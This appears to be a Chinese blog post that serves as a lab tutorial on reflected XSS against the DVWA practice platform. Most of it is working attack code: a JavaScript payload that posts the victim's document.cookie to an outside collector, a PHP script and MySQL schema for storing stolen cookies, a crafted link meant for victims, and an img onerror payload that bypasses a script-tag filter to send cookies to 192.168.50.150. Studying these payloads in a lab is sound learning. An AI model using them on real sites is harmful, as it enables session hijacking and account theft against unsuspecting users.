zoukankan      html  css  js  c++  java
  • 信息安全之路-web-xss学习(1)

    关于xss反射性漏洞

    1.未加任何过滤的

    (1).dvwa平台上可以看到源代码,如下

    low级别

    为了便于理解,代码如下:

    <?php

    // Is there any input?

    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )

    {// Feedback for end user

    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

    }

    ?> 

    判断是否存在name参数且该参数是否为空,不为空则输出Hello,和该参数的值

    (2).如果输出<script>alert(0)</script>,则浏览器端接收到传来的服务端处理后的js代码就会直接解析执行

     

    (这里做过实验,如果在浏览器端打开服务端js代码则直接看到源代码,不执行,所以说服务端处理后的js代码)

    Ps:笔者在学习时设置了代理。IP会变,做的时候可以考虑该原因

    (3) .当我们已知该漏洞时,考虑利用<script src=http://xxx></script>来执行外部js文件,从而在js中实现预先设置和更为强大的功能,如下,设置了获取cookie的源代码

    Js代码:(一定要细心,笔者在此出错甚多,导致耗时太多,比如action后网址正确,要有http//,在浏览器端输入时会自动加上,但构造payload时会忘掉)

    document.write("<form action='http://www.dvwa1.com/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");

    document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

    document.write("</form>");

    document.exploit.submit();

    这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。

    Php代码:(同上,写php代码时一定要细心,比如:$_POST不能少了_符号,低级错误,哎)

    <?php

    header("content-type:text/html;charset=utf-8");

    $conn=mysql_connect("localhost","root","root");

    mysql_select_db("dvwacookie",$conn);if(isset($_GET['data']))

    {

        $sql="insert into low(cookie) values('".$_GET['data']."');";

        $result=mysql_query($sql,$conn);

        mysql_close();

    }else if(isset($_POST['data']))

    {

        $sql="insert into low(cookie) values('".$_POST['data']."');";

        $result=mysql_query($sql,$conn);

        mysql_close();

    }else

    {

        $sql="select * from low";

        $result=mysql_query($sql,$conn);

        while($row=mysql_fetch_array($result))

        {

            echo "偷取的cookie:".$row[1]."</br>";

        }

        mysql_close();

    }?>

    steal.php将我们获取到的cookie存到数据库中。

    create database dvwacookie;

    use dvwacookie;

    create table low(id int not null auto_increment primary key,cookie varchar(100) not null);

    create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);

    create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

    接下来我们在有xss漏洞的位置插入。

    <script src=http://www.dvwa1.com/dvwaxss/cookie.js></script>

    相当于构造链接。

    http://www.dvwa1.com/dvwaxss/cookie.js?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

    将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

    这时,数据库就接收到了cookie。

     

    High级别

    High利用正则过滤了script标签,需要绕过,那就不使用<script>标签,使用

    <img src=#onerror=(location.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>

    这样同样可以出发js事件,服务端在解析时并不会解析Iuicode编码,而是到了html页面端会有解析,从而执行。

    注意以上payload和这个区别:(引号结尾在document之前)

    <img src=# onerror=(location.href="http://www.dvwa1.com/dvwaxss/steal.php?data=+document.cookie")>

     注意onerror后面会被当作js事件执行

     本文代码和理解参考:http://www.freebuf.com/articles/web/157953.html

  • 相关阅读:
    Swift3.0P1 语法指南——闭包
    OS X EI Capitan安装refind时出现Could not set boot device property: 0xe00002bc
    Swift3.0P1 语法指南——函数
    Swift3.0P1 语法指南——控制流
    [转]ios push
    给新浪微博审核提供下载地址
    xcode gdb/lldb调试命令
    博弈的真谛到底是什么?
    图基本算法 拓扑排序(基于dfs)
    HDU 1325 Is It A Tree? 判断是否为一棵树
  • 原文地址:https://www.cnblogs.com/qianxinggz/p/9826158.html
Copyright © 2011-2022 走看看